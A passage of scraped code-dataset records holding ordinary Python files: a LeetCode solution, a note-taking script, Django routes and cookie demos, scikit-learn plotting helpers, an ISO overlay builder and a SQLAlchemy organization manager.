"call"}, {"api_name": "youtokentome.BPE", "line_number": 58, "usage_type": "call"}, {"api_name": "morpho_common.SimpleKBVocab", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 62, "usage_type": "call"}, {"api_name": "kinyabert_utils.read_lines", "line_number": 64, "usage_type": "call"}, {"api_name": "progressbar.ProgressBar", "line_number": 67, "usage_type": "call"}, {"api_name": "morpho_common.parse_raw_text_lines", "line_number": 73, "usage_type": "call"}, {"api_name": "morpho_common.build_kinlp_morpho_lib", "line_number": 83, "usage_type": "call"}, {"api_name": "kinlpmorpholib.lib.start_kinlp_lib", "line_number": 87, "usage_type": "call"}, {"api_name": "kinlpmorpholib.lib", "line_number": 87, "usage_type": "name"}]}
{"seq_id": "31622587328", "text": "# @Time : 2022-08-20 21:28\n# @Author : Phalange\n# @File : 1475. 商品折扣后的最终价格.py\n# @Software: PyCharm\n# C'est la vie,enjoy it! :D\nfrom typing import List\n\n\nclass Solution:\n    def finalPrices(self, prices: List[int]) -> List[int]:\n        n = len(prices)\n        ans = [0] *n\n        stack = []\n        for i in range(n):\n            while stack and prices[stack[-1]] >= prices[i]:\n                idx = stack.pop()\n                ans[idx] = prices[idx] -  prices[i]\n            stack.append(i)\n\n        while stack:\n            idx = stack.pop()\n            ans[idx] = prices[idx]\n\n        return ans\n\nprint(Solution().finalPrices([8,4,6,2,3]))", "repo_name": "enternityFan/LeetCodePythonVersion", "sub_path": "单调栈/1475. 商品折扣后的最终价格.py", "file_name": "1475. 商品折扣后的最终价格.py", "file_ext": "py", "file_size_in_byte": 663, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 10, "usage_type": "name"}]}
{"seq_id": "13592101237", "text": "def limpar():\n    arquivo = open('txtRegistro.txt','w')\n    print('\\n Processo de limpeza realizado com sucesso!')\n    arquivo.close()\n\n\ndef dia():\n    import time\n    \n    dia = time.ctime()\n    \n    if 'Sun' in dia:\n        return 'DOM'\n    elif 'Mon' in dia:\n        return 'SEG'\n    elif 'Tue' in dia:\n        return 'TER'\n    elif 'Wed' in dia:\n        return 'QUA'\n    elif 'Thu' in dia:\n        return 'QUI'\n    elif 'Fri' in dia:\n        return 'SEX'\n    elif 'Sat' in dia:\n        return 'SÁB'\n\n\ndef hora():\n    from datetime import datetime\n    \n    calendario = datetime.now()\n    hora = calendario.strftime('%H:%M')\n    return hora\n    \n    \ndef turno():\n    from datetime import datetime\n    \n    calendario = datetime.now()\n    hora = calendario.strftime('%H')\n    if int(hora) < 12:\n        return 'Matutino'\n    else:\n        return 'Vespertino'\n\n        \ndef data():\n    from datetime import datetime\n    \n    calendario = datetime.now()\n    data = calendario.strftime('%d/%m/%y')\n    return data\n\n\ndef anotar():\n    postit = open('txtRegistro.txt','a')\n    \n    #postit.write(f'\\n      {dia()} - {data()}')\n\n    stop = True\n\n    while stop != False:\n        nota = input('\\n Nome.....: ').title()\n        if nota == '0':\n            stop = False\n        else:\n            sala = int(input(' Sala.....: '))\n            h = int(input(' Horas....: '))\n            t = 'Matutino' if h < 12 else 'Vespertino'\n            m = int(input(' Minutos..: '))\n            obs = input(' Obs......: ')\n            #postit.write(f'\\n{hora()} - {nota} - {sala} - {turno()}')\n            postit.write(f'\\n{data()} {dia()} _ {h}:{m} _ {nota} _ {sala} _ {t} _ Obs: {obs}')\n        \n    postit.close()\n\n\ndef abrir():\n    documento = open('txtRegistro.txt')\n    print(documento.read())\n    documento.close()\n\n\ndef acao(numero):\n    if numero == 1:\n        anotar()\n    elif numero == 2:\n        abrir()\n    elif numero == 3:\n        limpar()\n\n\ndef menu():\n    opcao = True\n    \n    while opcao != False:\n        opcao = int(input('''\n==================\n     REGISTRO\n==================\n    1 - Anotar\n    2 - Exibir\n    3 - limpar\n    0 - Sair\n\n>> '''))\n        if opcao == 1:\n            acao(1)\n        elif opcao == 2:\n            acao(2)\n        elif opcao == 3:\n            acao(3)\n        elif opcao == 0:\n            opcao = False\n\n\n\n    \nmenu()", "repo_name": "jmurilojm/estudos_Python", "sub_path": "txtRegistro.py", "file_name": "txtRegistro.py", "file_ext": "py", "file_size_in_byte": 2349, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.ctime", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "name"}]}
{"seq_id": "20616624581", "text": "from django.urls import path\nfrom . import views\nfrom .views import ProductListView, ProductDetailView\n\napp_name = 'inventory'\n\nurlpatterns = [\n    path(\"employee/\", views.employee, name=\"employee\"),\n    path(\"category/\", views.category, name=\"category\"),\n    path(\"products/\", ProductListView.as_view(), name=\"product_list\"),\n    path(\"products/\", ProductDetailView.as_view(), name=\"product_detail\"),\n]\n\n\n\n\n\n", "repo_name": "FX2One/fx-django-ecommerce-app", "sub_path": "fxecommerce/inventory/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 420, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.employee", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.category", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.ProductListView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "views.ProductListView", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.ProductDetailView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.ProductDetailView", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "18591514661", "text": "import numpy as np\nfrom sklearn.base import BaseEstimator, TransformerMixin\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\n\nclass GaussianFeatures(BaseEstimator, TransformerMixin):\n    \"\"\"Uniformly spaced Gaussian features for one-dimensional input\"\"\"\n\n    def __init__(self, N, width_factor=2.0):\n        self.N = N\n        self.width_factor = width_factor\n\n    @staticmethod\n    def _gauss_basis(x, y, width, axis=None):\n        arg = (x - y) / width\n        return np.exp(-0.5 * np.sum(arg ** 2, axis))\n\n    def fit(self, X, y=None):\n        # create N centers spread along the data range\n        self.centers_ = np.linspace(X.min(), X.max(), self.N)\n        self.width_ = self.width_factor * (self.centers_[1] - self.centers_[0])\n        return self\n\n    def transform(self, X):\n        return self._gauss_basis(X[:, :, np.newaxis], self.centers_,\n                                 self.width_, axis=1)\n\nfrom sklearn.metrics import precision_recall_fscore_support\ndef plot_classification_report(y_true, y_pred, figsize=(10, 10), ax=None):\n    np.set_printoptions(suppress=True)\n    plt.figure(figsize=figsize)\n\n    xticks = ['precision', 'recall', 'f1-score', 'support']\n    yticks = list(np.unique(y_true))\n    yticks += ['avg']\n\n    rep = np.array(precision_recall_fscore_support(y_true, y_pred)).T\n    # print(rep)\n    avg = np.mean(rep, axis=0)\n    avg[-1] = np.sum(rep[:, -1])\n    rep = np.insert(rep, rep.shape[0], avg, axis=0)\n\n    sns.heatmap(rep,annot=True,cbar=False,xticklabels=xticks,yticklabels=yticks,ax=ax, cmap='GnBu')\n\n    # plt.show()\n    return plt\n\ndef plot_confusion_matrix(cm):\n    sns.heatmap(cm.T, square=True, annot=True, fmt='d', cmap='GnBu')\n    plt.xlabel('true label')\n    plt.ylabel('predicted label')\n    return plt\n", "repo_name": "sundeshgupta/Machine-Learning-Toolkit", "sub_path": "cgi-bin/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "seaborn.set", "line_number": 4, "usage_type": "call"}, {"api_name": "sklearn.base.BaseEstimator", "line_number": 6, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.set_printoptions", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_fscore_support", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 41, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "11499773423", "text": "from django.shortcuts import render\nfrom datetime import datetime , timedelta\n\n\n# Create your views here.\n\ndef seting(request): # there the request came \n    response = render(request , 'set.html')\n    # response.set_cookie('name' , 'ritik' ,max_age=60)\n    # response.set_cookie('iname' , 'ritik' ,expires=datetime.utcnow()+timedelta(days=2))\n    response.set_signed_cookie('pname' , 'pkey' , salt='nm' ,expires=datetime.utcnow()+timedelta(days=2))\n    return response \n\n#    return render (request , 'set.html') # we give response but not direct give response we store in var than set cookies .\n\n\ndef getting(request):\n    try:\n        #we can also use .get and give default value .  method to secure code fail error . \n        # c = request.COOKIES['name']\n        c = request.get_signed_cookie('pname' , salt=\"nm\") # so when ever server set cookie it also set hash  type val in user clinet , and next time when any user want to forcefully access this cookie they nedd to provide to getting cookie than it get by server . \n    except :\n        c = \"no cookies \"\n    return render(request , 'get.html' , {'k' : c})\n\ndef deleting(request):\n    \n\n\n    response =  render(request , 'del.html')\n    response.delete_cookie('name')\n    return response ", "repo_name": "ritiksharmaaa/learn_django", "sub_path": "learn/cookies/demo/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "7957078476", "text": "import collections\nimport os\n\n\nclass IsoCreator(object):\n    def __init__(self, source_dir, target_file, executor=None):\n        self.source_dir = source_dir\n        self.target_file = target_file\n        self.executor = executor\n\n    def create(self):\n        self.executor([\n            'mkisofs',\n            '-r',\n            '-V',\n            'Automated Install CD',\n            '-cache-inodes',\n            '-J',\n            '-l',\n            '-b', 'isolinux/isolinux.bin',\n            '-c', 'isolinux/boot.cat',\n            '-no-emul-boot',\n            '-boot-load-size', '4',\n            '-boot-info-table',\n            '-quiet',\n            '-o', self.target_file,\n            self.source_dir,\n            ])\n\n\nclass IsoOverlay(object):\n    def __init__(self, path, file_checker=None, executor=None, tmpmaker=None,\n                 binary_checker=None):\n        self.path = path\n        self.file_checker = file_checker\n        self.executor = executor\n        self.tmpmaker = tmpmaker\n        self.binary_checker = binary_checker\n        self.iso_mountpoint = None\n        self.merged_dir = None\n        self.overlay_dir = None\n\n    def validate(self):\n        if self.file_checker(self.path):\n            if self.binary_checker('fuseiso'):\n                if self.binary_checker('unionfs-fuse'):\n                    return True\n        return False\n\n    def mount(self):\n        self.iso_mountpoint = self.tmpmaker()\n        self.overlay_dir = self.tmpmaker()\n        self.merged_dir = self.tmpmaker()\n        self.executor(\n            ['fuseiso', self.path, self.iso_mountpoint])\n        self.executor(\n            [\n                'unionfs-fuse',\n                '-o',\n                'cow',\n                ':'.join(\n                    [self.overlay_dir + '=RW', self.iso_mountpoint + '=RO']),\n                self.merged_dir\n            ]\n        )\n        return OverlaidIso(\n            overlay_dir=self.overlay_dir,\n            merged_dir=self.merged_dir,\n            executor=self.executor)\n\n    def umount(self):\n        self.executor(\n            ['fusermount', '-u', self.merged_dir])\n        self.executor(\n            ['fusermount', '-u', self.iso_mountpoint])\n\n    def __enter__(self):\n        self.validate()\n        return self.mount()\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        self.umount()\n        self.tmpmaker.remove_all()\n        return False\n\n\nOverlaidIsoData = collections.namedtuple(\n    'OverlaidIsoData',\n    ['overlay_dir', 'merged_dir', 'executor']\n)\n\n\nclass OverlaidIso(OverlaidIsoData):\n    def setcontents(self, path, contents):\n        overlay_path = os.path.join(self.overlay_dir, path)\n        overlay_dir = os.path.dirname(overlay_path)\n        if not os.path.exists(overlay_dir):\n            os.makedirs(overlay_dir)\n\n        with open(overlay_path, 'wb') as f:\n            f.write(contents)\n\n    def getcontents(self, path):\n        with open(os.path.join(self.merged_dir, path), 'rb') as f:\n            return f.read()\n\n    def exists(self, path):\n        merged_path = os.path.join(self.merged_dir, path)\n        return os.path.exists(merged_path)\n\n    def write_iso(self, iso_file):\n        creator = IsoCreator(self.merged_dir, iso_file, self.executor)\n        creator.create()\n", "repo_name": "lakat/unattended-iso", "sub_path": "uiso/iso.py", "file_name": "iso.py", "file_ext": "py", "file_size_in_byte": 3256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.namedtuple", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}]}
{"seq_id": "40246641337", "text": "import json\nimport random\nimport uuid\nfrom datetime import date, datetime\nfrom enum import Enum\nfrom typing import List, Optional, Dict\nfrom sqlalchemy import and_, outerjoin\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.future import select\nfrom helpers.session_context import SessionContext#, join, outerjoin, and_\nfrom models.tac import Tac # TacID\nfrom models.organization import Organization\nfrom models.serialization_schema.organization import OrganizationSchema\nfrom services.db_config import generate_uuid,db_dialect\nfrom services.logging_config import get_logger\nimport logging\nlogger = get_logger(__name__)\nclass OrganizationNotFoundError(Exception):\n    pass\n\nclass OrganizationManager:\n    def __init__(self, session_context: SessionContext):\n        if not session_context.session:\n            raise ValueError(\"session required\")\n        self._session_context = session_context\n    def convert_uuid_to_model_uuid(self,value:uuid):\n        # Conditionally set the UUID column type\n        if db_dialect == 'postgresql':\n            return value\n        elif db_dialect == 'mssql':\n            return value\n        else:  # This will cover SQLite, MySQL, and other databases\n            return str(value)\n\n    async def initialize(self):\n        logging.info(\"OrganizationManager.Initialize\")\n\n    async def build(self, **kwargs) -> Organization:\n        logging.info(\"OrganizationManager.build\")\n        return Organization(**kwargs)\n    async def add(self, organization: Organization) -> Organization:\n        logging.info(\"OrganizationManager.add\")\n        organization.insert_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n        organization.last_update_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n        self._session_context.session.add(organization)\n        await self._session_context.session.flush()\n        return organization\n    def _build_query(self):\n        logging.info(\"OrganizationManager._build_query\")\n#         join_condition = None\n#\n#         join_condition = outerjoin(join_condition, Tac, and_(Organization.tac_id == Tac.tac_id, Organization.tac_id != 0))\n#\n#         if join_condition is not None:\n#             query = select(Organization\n#                         ,Tac #tac_id\n#                         ).select_from(join_condition)\n#         else:\n#             query = select(Organization)\n        query = select(Organization\n                    ,Tac #tac_id\n                    )\n\n        query = query.outerjoin(Tac, and_(Organization.tac_id == Tac.tac_id, Organization.tac_id != 0))\n\n        return query\n    async def _run_query(self, query_filter) -> List[Organization]:\n        logging.info(\"OrganizationManager._run_query\")\n        organization_query_all = self._build_query()\n        if query_filter is not None:\n            query = organization_query_all.filter(query_filter)\n        else:\n            query = organization_query_all\n        result_proxy = await self._session_context.session.execute(query)\n        query_results = result_proxy.all()\n        result = list()\n        for query_result_row in query_results:\n            i = 0\n            organization = query_result_row[i]\n            i = i + 1\n\n            tac = query_result_row[i] #tac_id\n            i = i + 1\n\n            organization.tac_code_peek = tac.code if tac else uuid.UUID(int=0) #tac_id\n\n            result.append(organization)\n        return result\n    def _first_or_none(self,organization_list:List) -> Organization:\n        return organization_list[0] if organization_list else None\n    async def get_by_id(self, organization_id: int) -> Optional[Organization]:\n        logging.info(\"OrganizationManager.get_by_id start organization_id:\" + str(organization_id))\n        if not isinstance(organization_id, int):\n            raise TypeError(f\"The organization_id must be an integer, got {type(organization_id)} instead.\")\n        query_filter = Organization.organization_id == organization_id\n        query_results = await self._run_query(query_filter)\n        return self._first_or_none(query_results)\n    async def get_by_code(self, code: uuid.UUID) -> Optional[Organization]:\n        logging.info(f\"OrganizationManager.get_by_code {code}\")\n        query_filter = Organization.code==code\n        query_results = await self._run_query(query_filter)\n        return self._first_or_none(query_results)\n    async def update(self, organization: Organization, **kwargs) -> Optional[Organization]:\n        logging.info(\"OrganizationManager.update\")\n        property_list = Organization.property_list()\n        if organization:\n            organization.last_update_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n            for key, value in kwargs.items():\n                if key not in property_list:\n                    raise ValueError(f\"Invalid property: {key}\")\n                setattr(organization, key, value)\n            await self._session_context.session.flush()\n        return organization\n    async def delete(self, organization_id: int):\n        logging.info(f\"OrganizationManager.delete {organization_id}\")\n        if not isinstance(organization_id, int):\n            raise TypeError(f\"The organization_id must be an integer, got {type(organization_id)} instead.\")\n        organization = await self.get_by_id(organization_id)\n        if not organization:\n            raise OrganizationNotFoundError(f\"Organization with ID {organization_id} not found!\")\n        await self._session_context.session.delete(organization)\n        await self._session_context.session.flush()\n    async def get_list(self) -> List[Organization]:\n        logging.info(\"OrganizationManager.get_list\")\n        query_results = await self._run_query(None)\n        return query_results\n    def to_json(self, organization:Organization) -> str:\n        logging.info(\"OrganizationManager.to_json\")\n        \"\"\"\n        Serialize the Organization object to a JSON string using the OrganizationSchema.\n        \"\"\"\n        schema = OrganizationSchema()\n        organization_data = schema.dump(organization)\n        return json.dumps(organization_data)\n    def to_dict(self, organization:Organization) -> dict:\n        logging.info(\"OrganizationManager.to_dict\")\n        \"\"\"\n        Serialize the Organization object to a JSON string using the OrganizationSchema.\n        \"\"\"\n        schema = OrganizationSchema()\n        organization_data = schema.dump(organization)\n        return organization_data\n    def from_json(self, json_str: str) -> Organization:\n        logging.info(\"OrganizationManager.from_json\")\n        \"\"\"\n        Deserialize a JSON string into a Organization object using the OrganizationSchema.\n        \"\"\"\n        schema = OrganizationSchema()\n        data = json.loads(json_str)\n        organization_dict = schema.load(data)\n        new_organization = Organization(**organization_dict)\n        return new_organization\n    def from_dict(self, organization_dict: str) -> Organization:\n        logging.info(\"OrganizationManager.from_dict\")\n        schema = OrganizationSchema()\n        organization_dict_converted = schema.load(organization_dict)\n        new_organization = Organization(**organization_dict_converted)\n        return new_organization\n    async def add_bulk(self, organizations: List[Organization]) -> List[Organization]:\n        logging.info(\"OrganizationManager.add_bulk\")\n        \"\"\"Add multiple organizations at once.\"\"\"\n        for organization in organizations:\n            if organization.organization_id is not None and organization.organization_id > 0:\n                raise ValueError(\"Organization is already added: \" + str(organization.code) + \" \" + str(organization.organization_id))\n            organization.insert_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n            organization.last_update_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n        self._session_context.session.add_all(organizations)\n        await self._session_context.session.flush()\n        return organizations\n    async def update_bulk(self, organization_updates: List[Dict[int, Dict]]) -> List[Organization]:\n        logging.info(\"OrganizationManager.update_bulk start\")\n        updated_organizations = []\n        for update in organization_updates:\n            organization_id = update.get(\"organization_id\")\n            if not isinstance(organization_id, int):\n                raise TypeError(f\"The organization_id must be an integer, got {type(organization_id)} instead.\")\n            if not organization_id:\n                continue\n            logging.info(f\"OrganizationManager.update_bulk organization_id:{organization_id}\")\n            organization = await self.get_by_id(organization_id)\n            if not organization:\n                raise OrganizationNotFoundError(f\"Organization with ID {organization_id} not found!\")\n            for key, value in update.items():\n                if key != \"organization_id\":\n                    setattr(organization, key, value)\n            organization.last_update_user_id = self.convert_uuid_to_model_uuid(self._session_context.customer_code)\n            updated_organizations.append(organization)\n        await self._session_context.session.flush()\n        logging.info(\"OrganizationManager.update_bulk end\")\n        return updated_organizations\n    async def delete_bulk(self, organization_ids: List[int]) -> bool:\n        logging.info(\"OrganizationManager.delete_bulk\")\n        \"\"\"Delete multiple organizations by their IDs.\"\"\"\n        for organization_id in organization_ids:\n            if not isinstance(organization_id, int):\n                raise TypeError(f\"The organization_id must be an integer, got {type(organization_id)} instead.\")\n            organization = await self.get_by_id(organization_id)\n            if not organization:\n                raise OrganizationNotFoundError(f\"Organization with ID {organization_id} not found!\")\n            if organization:\n                await self._session_context.session.delete(organization)\n        await self._session_context.session.flush()\n        return True\n    async def count(self) -> int:\n        logging.info(\"OrganizationManager.count\")\n        \"\"\"Return the total number of organizations.\"\"\"\n        result = await self._session_context.session.execute(select(Organization))\n        return len(result.scalars().all())\n    #TODO fix. needs to populate peek props. use getall and sort List\n    async def get_sorted_list(self, sort_by: str, order: Optional[str] = \"asc\") -> List[Organization]:\n        \"\"\"Retrieve organizations sorted by a particular attribute.\"\"\"\n        if order == \"asc\":\n            result = await self._session_context.session.execute(select(Organization).order_by(getattr(Organization, sort_by).asc()))\n        else:\n            result = await self._session_context.session.execute(select(Organization).order_by(getattr(Organization, sort_by).desc()))\n        return result.scalars().all()\n    async def refresh(self, organization: Organization) -> Organization:\n        logging.info(\"OrganizationManager.refresh\")\n        \"\"\"Refresh the state of a given organization instance from the database.\"\"\"\n        await self._session_context.session.refresh(organization)\n        return organization\n    async def exists(self, organization_id: int) -> bool:\n        logging.info(f\"OrganizationManager.exists {organization_id}\")\n        \"\"\"Check if a organization with the given ID exists.\"\"\"\n        if not isinstance(organization_id, int):\n            raise TypeError(f\"The organization_id must be an integer, got {type(organization_id)} instead.\")\n        organization = await self.get_by_id(organization_id)\n        return bool(organization)\n    def is_equal(self, organization1:Organization, organization2:Organization) -> bool:\n        if not organization1:\n            raise TypeError(\"Organization1 required.\")\n        if not organization2:\n            raise TypeError(\"Organization2 required.\")\n        if not isinstance(organization1, Organization):\n            raise TypeError(\"The organization1 must be an Organization instance.\")\n        if not isinstance(organization2, Organization):\n            raise TypeError(\"The organization2 must be an Organization instance.\")\n        dict1 = self.to_dict(organization1)\n        dict2 = self.to_dict(organization2)\n        return dict1 == dict2\n\n    async def get_by_tac_id(self, tac_id: int) -> List[Organization]: # TacID\n        logging.info(\"OrganizationManager.get_by_tac_id\")\n        if not isinstance(tac_id, int):\n            raise TypeError(f\"The organization_id must be an integer, got {type(tac_id)} instead.\")\n        query_filter = Organization.tac_id == tac_id\n        query_results = await self._run_query(query_filter)\n        return query_results\n\n", "repo_name": "derivative-programming/Farm-Py-SqlAlchemy-FastApi", "sub_path": "managers/organization.py", "file_name": "organization.py", "file_ext": "py", "file_size_in_byte": 12860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "services.logging_config.get_logger", "line_number": 17, "usage_type": "call"}, {"api_name": "helpers.session_context.SessionContext", "line_number": 22, "usage_type": "name"}, {"api_name": "services.db_config.db_dialect", "line_number": 28, "usage_type": "name"}, {"api_name": "services.db_config.db_dialect", "line_number": 30, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 39, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 40, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 38, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 41, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.future.select", "line_number": 60, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 60, "usage_type": "argument"}, {"api_name": "models.tac.Tac", "line_number": 61, "usage_type": "argument"}, {"api_name": "models.tac.Tac", "line_number": 64, "usage_type": "argument"}, {"api_name": "sqlalchemy.and_", "line_number": 64, "usage_type": "call"}, {"api_name": "models.organization.Organization.tac_id", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.organization.Organization", "line_number": 64, "usage_type": "name"}, {"api_name": "models.tac.Tac.tac_id", "line_number": 64, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 68, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 85, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 67, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 89, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 89, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 92, "usage_type": "call"}, {"api_name": "models.organization.Organization.organization_id", "line_number": 95, "usage_type": "attribute"}, {"api_name": "models.organization.Organization", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 91, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 98, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 99, "usage_type": "call"}, {"api_name": "models.organization.Organization.code", "line_number": 100, "usage_type": "attribute"}, {"api_name": "models.organization.Organization", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 98, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 103, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 104, "usage_type": "call"}, {"api_name": "models.organization.Organization.property_list", "line_number": 105, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 103, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 115, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 123, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 123, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 127, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 128, "usage_type": "call"}, {"api_name": "models.serialization_schema.organization.OrganizationSchema", "line_number": 132, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 134, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 135, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 136, "usage_type": "call"}, {"api_name": "models.serialization_schema.organization.OrganizationSchema", "line_number": 140, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 144, "usage_type": "call"}, {"api_name": "models.serialization_schema.organization.OrganizationSchema", "line_number": 148, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 149, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 151, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 143, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 154, "usage_type": "call"}, {"api_name": "models.serialization_schema.organization.OrganizationSchema", "line_number": 155, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 157, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 153, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 159, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 159, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 160, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 170, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 170, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 171, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 179, "usage_type": "call"}, 